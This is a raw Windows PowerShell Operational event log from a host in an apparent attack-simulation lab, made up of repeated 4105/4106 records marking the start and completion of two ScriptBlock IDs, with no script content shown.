09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051623
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051622
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051621
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051619
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051617
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051615
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051613
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051612
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051611
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051609
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051607
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051606
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051605
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051603
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051602
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051601
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051600
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051599
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051598
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051597
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051596
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051595
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051593
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051592
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051591
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051590
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051589
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051588
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051587
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051585
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051584
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051583
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051581
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051580
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051579
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051577
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051576
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051575
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051574
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051573
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051572
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051571
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
